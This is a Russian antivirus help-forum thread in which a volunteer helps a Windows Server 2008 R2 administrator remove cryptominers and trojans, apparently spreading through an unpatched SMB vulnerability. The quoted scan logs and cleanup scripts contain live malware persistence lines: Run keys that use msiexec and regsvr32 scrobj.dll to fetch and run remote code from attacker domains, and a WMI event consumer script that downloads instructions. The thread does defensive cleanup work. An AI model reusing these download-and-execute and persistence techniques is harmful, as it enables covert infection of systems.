Обнаружена критическая неполадка [UDS:DangerousObject.Multi.Generic]

Printable View

26.03.2019, 00:03
terehovskiy

Вложений: 1

Обнаружена критическая неполадка [UDS:DangerousObject.Multi.Generic]

Появилась ошибка (возникает каждый раз при загрузке системы, но может появится и через некоторое время работы) windows server 2008 r2, "Обнаружена критическая неполадка, система будет автоматически перезагружена через одну минуту. Сохраните работу сейчас". Для начала лечил с загрузочного диска Dr.Web CureIt, но после лечения примерно через сутки, ошибка вернулась и система перезагрузилась. Далее в ход пошли загрузочные диски Касперского и NOD, но проблема осталась, хотя в данный момент все работает, но на долго ли. Буду признателен в помощи решения данной проблемы.

Забыл добавить.
В журнале windows, есть ошибка в журнале приложений "Критический системный процесс C:\Windows\system32\lsm.exe завершился ошибкой с кодом состояния 1. Система будет перезагружена". Делал sfc /scannow и получал ошибку "Защита ресурсов Windows не может выполнить запрошенную операцию.". После зашел в безопасный режим без загрузки сети и выполнил sfc /scannow при этом предупреждения с перезагрузкой системы не было, скан выполнился и ошибок не было. Загрузился с поддержкой сети и получал предупреждение о том, что система будет перезагружена.
26.03.2019, 00:04
Info_bot

Уважаемый(ая) [B]terehovskiy[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
26.03.2019, 07:02
Vvvyg

Запустите HijackThis, расположенный в папке Autologger (в [B]Windows Vista/7/8/10[/B] необходимо запускать через правую кнопку мыши [B]Запуск от имени администратора)[/B])и [url="http://virusinfo.info/showthread.php?t=4491"]пофиксите только эти строки[/url]:[code]F2 - HKCU\..\WinLogon: [Shell] = explorer.exe, C:\Users\Администратор\AppData\Roaming\dhelper.exe
F2 - HKU\.DEFAULT\..\WinLogon: [Shell] = explorer.exe, C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe
O4 - HKLM\..\Run: [start1] = C:\Windows\system32\msiexec.exe /i http://js.5b6b7b.ru:280/helloworld.msi /q
O4 - HKLM\..\Run: [start] = C:\Windows\system32\regsvr32.exe /u /s /i:http://js.5b6b7b.ru:280/v.sct scrobj.dll
O4 - MSConfig\startupfolder: C:^Users^Администратор^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^explorer.lnk [backup] => C:\Users\Администратор\AppData\Roaming\TempoR\DOC001.exe (2019/03/24)
O4 - User Startup: C:\Users\Администратор\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk -> C:\Users\Администратор\AppData\Roaming\TempoR\DOC001.exe
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 135 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 137 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 138 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 139 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block
O22 - Task: Microsoft LocalManager[Windows Server 2008 R2 Enterprise] - C:\ProgramData\{88748799-8874-8874-887487997161}\lsm.exe
O23 - Service S2: Microsoft Security Center (2.0) Service - (mssecsvc2.0) - C:\WINDOWS\mssecsvc.exe -m security (file missing)
O23 - Service S2: Microsoft Security Center (2.1) Service - (mssecsvc2.1) - C:\WINDOWS\mssecsvr.exe -m security (file missing)
O25 - WMI Event: fuckyoumm2_consumer - fuckyoumm2_filter - var toff=3000;var url1 = "http://wmi.my0115.ru:8888/kill.html";http = new ActiveXObject("Msxml2.ServerXMLHTTP");fso = new ActiveXObject("Scripting.FilesystemObject");wsh = new ActiveXObject("WScript.Shell");http.open("GET", url1, false);http.send();str = http.responseText;arr = str.split("\r\n");for(1724 bytes)[/code]
[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url]:[code]begin
TerminateProcessByName('c:\users\836d~1\appdata\local\temp\2\buff2.exe');
TerminateProcessByName('c:\users\Администратор\appdata\roaming\dhelper.exe');
TerminateProcessByName('c:\users\Администратор\appdata\roaming\tempor\doc001.exe');
TerminateProcessByName('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe');
QuarantineFile('C:\ProgramData\{88748799-8874-8874-887487997161}\lsm.exe', '');
QuarantineFile('c:\users\836d~1\appdata\local\temp\2\buff2.exe', '');
QuarantineFile('C:\Users\836D~1\AppData\Roaming\TempoR\DOC001.exe', '');
QuarantineFile('c:\users\Администратор\appdata\roaming\dhelper.exe', '');
QuarantineFile('c:\users\Администратор\appdata\roaming\tempor\doc001.exe', '');
QuarantineFile('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe', '');
QuarantineFile('C:\WINDOWS\mssecsvc.exe', '');
QuarantineFile('C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe', '');
QuarantineFileF('c:\programdata\{88748799-8874-8874-887487997161}', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js*, *.tmp*', false, '', 0 , 0);
DeleteFile('C:\ProgramData\{88748799-8874-8874-887487997161}\lsm.exe', '64');
DeleteFile('c:\users\836d~1\appdata\local\temp\2\buff2.exe', '');
DeleteFile('c:\users\836d~1\appdata\local\temp\2\buff2.exe', '64');
DeleteFile('C:\Users\836D~1\AppData\Roaming\TempoR\DOC001.exe', '64');
DeleteFile('c:\users\Администратор\appdata\roaming\dhelper.exe', '');
DeleteFile('C:\Users\Администратор\AppData\Roaming\dhelper.exe', '32');
DeleteFile('C:\Users\Администратор\AppData\Roaming\dhelper.exe', '64');
DeleteFile('c:\users\Администратор\appdata\roaming\tempor\doc001.exe', '');
DeleteFile('C:\Users\Администратор\AppData\Roaming\TempoR\DOC001.exe', '64');
DeleteFile('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe', '');
DeleteFile('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe', '64');
DeleteFile('C:\WINDOWS\mssecsvc.exe', '64');
DeleteFile('C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe', '32');
DeleteFile('C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe', '64');
DeleteService('mssecsvc2.0');
DeleteFileMask('c:\programdata\{88748799-8874-8874-887487997161}', '*', true);
DeleteFileMask('c:\users\администратор\appdata\roaming\tempor', '*', true);
DeleteDirectory('c:\programdata\{88748799-8874-8874-887487997161}');
DeleteDirectory('c:\users\администратор\appdata\roaming\tempor');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^Users^Администратор^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^explorer.lnk', 'command', '64');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start', '64');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start1', '64');
DeleteSchedulerTask('Microsoft LocalManager[Windows Server 2008 R2 Enterprise]');
CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
ExecuteWizard('SCU', 3, 3, true);
end.[/code][color=#FF0000]Перезагрузите компьютер вручную.[/color]

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).
26.03.2019, 11:22
terehovskiy

Вложений: 1

Карантин закачал, отчет Farbat прикреплен к сообщению.
26.03.2019, 13:23
Vvvyg

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:[CODE]HKU\S-1-5-21-2162965194-4131769982-3901334038-500\...\Run: [] => [X]
2019-03-26 05:29 - 2019-03-25 16:24 - 001815801 _____ C:\DOC001.exe
Folder: C:\ProgramData\{79763631-7976-7976-797636311134}
Folder: C:\Adobe
CMD: Type C:\Users\Администратор\AppData\Roaming\temp.bat
CMD: Type C:\Users\Администратор\AppData\Roaming\offline.txt
2019-03-26 05:29 - 2019-03-26 05:29 - 000000000 __SHD C:\ProgramData\{79763631-7976-7976-797636311134}
2019-03-26 04:49 - 2019-03-26 11:05 - 000000000 __SHD C:\ProgramData\{71338236-7133-7133-713382363282}
2019-03-26 04:48 - 2019-03-26 04:48 - 000000000 __SHD C:\ProgramData\{49266261-4926-4926-492662617672}
2019-03-26 02:24 - 2019-03-26 02:24 - 000000000 __SHD C:\ProgramData\{46500021-4650-4650-465000213155}
2019-03-25 20:25 - 2019-03-25 20:25 - 000000000 __SHD C:\ProgramData\{98921577-9892-9892-989215774874}
2019-03-25 20:20 - 2019-03-25 20:20 - 000000000 __SHD C:\ProgramData\{66815628-6681-6681-668156281152}
2019-03-25 18:37 - 2019-03-25 22:09 - 000000000 __SHD C:\ProgramData\{59138615-5913-5913-591386157295}
2019-03-25 18:37 - 2019-03-25 22:09 - 000000000 __SHD C:\ProgramData\{40865857-4086-4086-408658571581}
2019-03-25 16:40 - 2019-03-25 22:09 - 000000000 __SHD C:\ProgramData\{98496839-9849-9849-984968399042}
2019-03-25 16:24 - 2019-03-25 22:09 - 000000000 __SHD C:\ProgramData\{90746615-9074-9074-907466156846}
2019-03-25 16:24 - 2019-03-25 22:09 - 000000000 __SHD C:\ProgramData\{79172239-7917-7917-791722399387}
2019-03-25 15:15 - 2019-03-25 22:09 - 000000000 __SHD C:\ProgramData\{16615732-1661-1661-166157328531}
2019-03-09 07:23 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{22312142-2231-2231-223121427199}
2019-03-09 04:23 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{94501177-9450-9450-945011774394}
2019-03-09 04:22 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{61873280-6187-6187-618732807155}
2019-03-09 04:19 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{30504801-3050-3050-305048017986}
2019-03-09 04:19 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{22067586-2206-2206-220675864869}
2019-02-26 05:58 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{38040600-3804-3804-380406004380}
2019-02-26 03:04 - 2019-03-26 00:04 - 000000026 _____ C:\Users\Администратор\AppData\Roaming\temp.bat
2019-02-26 02:56 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{10205068-1020-1020-102050689947}
2019-02-26 02:54 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{88314851-8831-8831-883148514966}
2019-02-25 17:21 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{69857680-6985-6985-698576801056}
2019-02-25 14:17 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{74130130-7413-7413-741301309946}
2019-02-25 14:17 - 2019-03-24 21:06 - 000000000 ____D C:\Users\Администратор\AppData\Roaming\Tempo
2019-02-25 14:17 - 2017-06-04 20:01 - 000000000 __RSH C:\Users\Администратор\AppData\Roaming\cppredistx86.exe
2019-02-25 12:33 - 2019-03-24 21:06 - 000000000 __SHD C:\ProgramData\{79009396-7900-7900-790093963383}
2018-03-17 01:49 - 2019-03-24 04:55 - 000000087 _____ () C:\Program Files\Common Files\xp.dat
2018-09-13 12:32 - 2018-09-27 01:15 - 000000084 _____ () C:\Program Files\Common Files\xpdown.dat
Task: {0CD94DF2-AF93-481C-8C15-62308D50B606} - \Mysa2 -> No File <==== ATTENTION
Task: {16920345-F4E4-4BF7-A7A4-003FADF2FA1F} - \Mysa1 -> No File <==== ATTENTION
Task: {35BE678B-CAD4-4E8E-A9E6-7F5FC70478BD} - \ok -> No File <==== ATTENTION
Task: {5AC0E213-52C3-4D11-AB18-58470AFB0DF9} - \Mysa3 -> No File <==== ATTENTION
Task: {6CC622DF-AB17-47A7-A8C8-6E235D03B902} - \Mysa -> No File <==== ATTENTION
Reboot:[/CODE]
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool. [U]При сохранении выберите кодировку [B]Юникод[/B]![/U]
[U]Закройте все программы, отключите пользователей[/U], запустите FRST.EXE/FRST64.EXE, нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Перезагрузите сервер.

Скорее всего зловреды лезут через незакрытую уязвимость.

[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url] при наличии доступа в интернет:[CODE]var
LogPath : string;
ScriptPath : string;

begin
LogPath := GetAVZDirectory + 'log\avz_log.txt';
if FileExists(LogPath) Then DeleteFile(LogPath);
ScriptPath := GetAVZDirectory +'ScanVuln.txt';

if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 1) then ExecuteScript(ScriptPath) else begin
if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 0) then ExecuteScript(ScriptPath) else begin
ShowMessage('Невозможно загрузить скрипт AVZ для обнаружения наиболее часто используемых уязвимостей!');
exit;
end;
end;
if FileExists(LogPath) Then ExecuteFile('notepad.exe', LogPath, 1, 0, false)
end.[/CODE]
После его работы, если будут найдены уязвимости, в блокноте откроется файл avz_log.txt
26.03.2019, 15:41
terehovskiy

Вложений: 1

Fixlog прикрепил. Найдено 5 уязвимостей после выполнения скрипта. Их установить как я понял? Кстати появился еще один пользователь при входе admin$.
26.03.2019, 17:03
Vvvyg

Устраняйте обязательно, долбят наверняка через закрытую ещё в апреле 2017-го года уязвимость.
Удаляйте лишних пользователей, меняйте пароли.
26.03.2019, 17:26
terehovskiy

Какие дальше мои действия? Обновления установил. Пользователя удалил. Доступ к рдп ограничен по ИП через брендмауэр.
26.03.2019, 18:06
Vvvyg

Понаблюдайте день хотя бы, если рецидива не будет - всё в порядке.
27.03.2019, 17:56
terehovskiy

Пока предыдущая проблема не возникала, но появились новые. Увидел, что в брендмауэре создается правило "tcp all" которое открывает все действующие порты, если его удалить, оно снова появляется.
Также стала падать служба mssql сервер 2008 с логом 7034, полагаю это из-за вируса, т.к. роняет ее "Microsoft Security Center (2.1) Service". При этом в логах есть запись "Сбой при запуске службы "Microsoft Security Center (2.1) Service" из-за ошибки. Не удается найти указанный файл.". Службу отключал, но mssql сервер все равно падает. Думал, что проблема в самом sql из-за обновления винды, но в итоге пришел к тому, что у меня последний пакет обновлений для mssql сервер. Хочется окончательно избавится от вирусов.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Сейчас заметил, что он пытается запустить 2 службы MSC, "Сбой при запуске службы "Microsoft Security Center (2.0) Service" из-за ошибки. Не удается найти указанный файл." и такую же службу версии 2.1. Хотя по сути, служба запущена и ее видно в службах.
27.03.2019, 20:54
Vvvyg

Левые задания в MS SQL Server есть?

Скачайте утилиту Universal Virus Sniffer [URL="https://yadi.sk/d/6A65LkI1WEuqC"]отсюда[/URL] и [url=https://virusinfo.info/showthread.php?t=121767&p=897810&viewfull=1#post897810]сделайте полный образ автозапуска uVS[/url].
28.03.2019, 16:49
terehovskiy

Вложений: 1

Файл прикрепил. Кстати, я совсем забыл сказать, что стоит программный рейд диска C. Возможно вирусы лезут со второго диска?
28.03.2019, 21:04
Vvvyg

Скопируйте скрипт ниже в буфер обмена (выделить и нажать Ctrl-C):[code];uVS v4.1.3 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v400c
OFFSGNSAVE
delref %Sys32%\DRIVERS\18D89FC586.SYS
delref HTTP://JS.1226BYE.XYZ:280/V.SCT
zoo %SystemRoot%\SYSTEM\MSINFO.EXE
addsgn 9A79B350438226EC0AD4EC449312FB4DA34303A78661DA9170F7C2BC632486890949A66505AA1CAFD480849FB3EFC2CEC87B13B65522D617E8B64E2746FA8C56 8 Win32/Agent.WTF [ESET-NOD32] 7

chklst
delvir

deltsk %SystemRoot%\SYSTEM\MY1.BAT
delref %SystemDrive%\USERS\АДМИНИСТРАТОР\APPDATA\LOCAL\GOOGLE\UPDATE\1.3.33.23\GOOGLEUPDATEONDEMAND.EXE
regt 25
apply

deltmp
czoo[/code]
Запустите файл start.exe из папки с uVS, выберите "Запустить под текущим пользователем", в главном меню программы - Скрипты -> выполнить скрипт из буфера обмена.
Перезагрузите сервер.

В папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.

Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).
29.03.2019, 03:12
terehovskiy

Вложений: 2

Архив загрузил, логи во вложении.
29.03.2019, 06:55
Vvvyg

Уязвимости точно все устранили? Свежие майнеры и трояны снова.

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:[CODE]HKLM-x32\...\Run: [] => [X]
S2 mssecsvc2.0; C:\WINDOWS\mssecsvc.exe -m security [X]
S2 mssecsvc2.1; C:\WINDOWS\mssecsvr.exe -m security [X]
Virustotal: C:\Windows\SysWOW64\csrs.exe
2019-03-28 22:24 - 2019-03-28 22:24 - 006466961 _____ (Microsoft Corporation) C:\Windows\SysWOW64\csrs.exe
Folder: C:\Windows\CheckSur
Folder: C:\Program Files\shengda
Folder: C:\Program Files\kugou2010
C:\Windows\SysWOW64\*.dmp
2019-03-26 19:25 - 2019-03-28 16:24 - 000000084 _____ C:\Program Files\Common Files\xpwpd.dat
2019-03-26 19:25 - 2019-03-28 16:18 - 000023552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Drivers\64.exe
2019-03-26 19:25 - 2019-03-28 16:17 - 000023552 _____ (Microsoft Corporation) C:\Windows\system\down.exe
2019-03-26 19:25 - 2019-03-28 16:16 - 000008702 _____ C:\Windows\system32\c.txt
2019-03-26 22:26 - 2019-03-28 07:13 - 000000080 _____ C:\Windows\system32\s
2019-03-26 22:26 - 2019-03-28 07:13 - 000000078 _____ C:\Windows\system32\ps
2019-03-26 22:26 - 2019-03-28 07:13 - 000000076 _____ C:\Windows\system32\p
2019-03-26 19:25 - 2019-03-26 19:25 - 000000000 __SHD C:\Program Files\shengda
2019-03-26 19:25 - 2019-03-26 19:25 - 000000000 __SHD C:\Program Files\kugou2010
2019-03-26 19:24 - 2019-03-28 16:15 - 000000084 _____ C:\Program Files\Common Files\xpdown.dat
2019-03-26 14:21 - 2018-02-02 12:16 - 584878796 _____ C:\Windows\MEMORY.DMP
2019-03-26 04:49 - 2019-02-25 14:17 - 000002400 _____ C:\Users\Администратор\AppData\Roaming\offline.txt
Task: {64FBD7D5-8E3C-4535-80B4-1322EFC6CC91} - \ok -> No File <==== ATTENTION
Task: {E3154922-CE27-4925-A98A-D95128C3C300} - \Mysa1 -> No File <==== ATTENTION
FirewallRules: [{F9483CF5-FDA9-46B6-8538-3B01B071C81B}] => (Block) LPort=445
FirewallRules: [{64923BA9-1871-4C1B-8078-7C3D06494DC7}] => (Block) LPort=139[/CODE]
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool. [U]При сохранении выберите кодировку [B]Юникод[/B]![/U]
Отключите до перезагрузки всех пользователей, [U]закройте все программы[/U], запустите FRST.EXE/FRST64.EXE, нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
30.03.2019, 03:40
terehovskiy

Вложений: 1

Да, уязвимости устранил. Перепроверял после установки заплаток.
30.03.2019, 11:08
Vvvyg

Похоже, источник заражения на одном из компьютеров в сети.

Сделайте лог [url=https://virusinfo.info/showthread.php?t=218706&p=1480220&viewfull=1#post1480220]сканирования Мalwarebytes.[/url]
31.03.2019, 02:07
terehovskiy

Вложений: 1

Зная нашего брата, вероятность того, что в сети есть такой компьютер 99%.
31.03.2019, 10:48
Vvvyg

Поправьте настройки DNS: 223.5.5.5 - 8.8.8.8
Первый замените на провайдерский или 8.8.4.4.

Проверьте сеть через [URL="http://omerez.com/eternalblues/"]ETERNAL BLUES[/URL], уязвимые компьютеры проверяйте в первую очередь.
03.04.2019, 03:18
terehovskiy

Этот софт ищет компьютеры с уязвимостями в сети? Сеть ДЦ. Есть смысл мне или нет?
03.04.2019, 06:47
Vvvyg

Да, именно так. Сеть т. е. не ваша?
03.04.2019, 14:03
terehovskiy

[QUOTE=Vvvyg;1498645]Да, именно так. Сеть т. е. не ваша?[/QUOTE]

Нет, сеть не моя.
03.04.2019, 15:35
Vvvyg

Ваш компьютер только один?
04.04.2019, 02:37
terehovskiy

[QUOTE=Vvvyg;1498660]Ваш компьютер только один?[/QUOTE]

Да.
04.04.2019, 06:51
Vvvyg

Смените пароль администратора.
[URL="https://support.microsoft.com/ru-ru/help/2696547/how-to-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and-windows"]Отключите протокол SMB версии 1[/URL].
Крайне желательно установить все обновления системы.

Если не прекратятся проблемы - новый лог FRST сделайте.
04.04.2019, 07:01
CyberHelper

=C8=F2=EE=E3 =EB=E5=F7=E5=ED=E8=FF

=D1=F2=E0=F2=E8=F1=F2=E8=EA=E0 =EF=F0=EE=E2=E5=E4=E5=ED=ED=EE=E3=EE =EB=
=E5=F7=E5=ED=E8=FF:
[LIST][*]=CF=EE=EB=F3=F7=E5=ED=EE =EA=E0=F0=E0=ED=F2=E8=ED=EE=E2: [B]2[/B][*]=CE=E1=F0=E0=E1=EE=F2=E0=ED=EE =F4=E0=E9=EB=EE=E2: [B]9[/B][*]=C2 =F5=EE=E4=E5 =EB=E5=F7=E5=ED=E8=FF =EE=E1=ED=E0=F0=F3=E6=E5=ED=FB=
=E2=F0=E5=E4=EE=ED=EE=F1=ED=FB=E5 =EF=F0=EE=E3=F0=E0=EC=EC=FB:
[LIST=3D1][*] c:\programdata\{88748799-8874-8874-887487997161}\lsm.exe - [B]T=
rojan.Win32.Tasker.it[/B] ( BitDefender: Gen:Trojan.Heur.RP.mqW@amq8kw=
oi, AVAST4: Win32:Miner-DO [Trj] )[*] c:\users\=E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=EE=F0\appdata\roami=
ng\dhelper.exe - [B]UDS:DangerousObject.Multi.Generic[/B] ( AVAST4: W=
in32:Malware-gen )[*] c:\users\=E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=EE=F0\appdata\roami=
ng\tempor\doc001.exe - [B]Worm.NSIS.BitMin.d[/B] ( BitDefender: Appl=
ication.BitCoinMiner.IG )[*] c:\users\=E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=EE=F0\appdata\roami=
ng\tempor\nscpucnminer64.exe - [B]not-a-virus:HEUR:RiskTool.Win32.Bi=
tCoinMiner.gen[/B] ( AVAST4: Win32:CryptoMiner-L [Trj] )[*] c:\users\836d~1\appdata\local\temp\2\buff2.exe - [B]Trojan.=
Win32.Tasker.it[/B] ( BitDefender: Gen:Trojan.Heur.RP.mqW@amq8kwoi, AV=
AST4: Win32:Miner-DO [Trj] )[*] c:\users\836d~1\appdata\roaming\tempor\doc001.exe - [B]Worm.=
NSIS.BitMin.d[/B] ( BitDefender: Application.BitCoinMiner.IG )[*] c:\windows\system32\config\systemprofile\appdata\roaming\dh=
elper.exe - [B]UDS:DangerousObject.Multi.Generic[/B] ( AVAST4: Win32:M=
alware-gen )[*] \msinfo.exe._ddadf26eb9c9eef200030ee6f9190d71666a127b - [B]UDS:Da=
ngerousObject.Multi.Generic[/B] ( AVAST4: Win32:Trojan-gen )[/LIST][/LIST]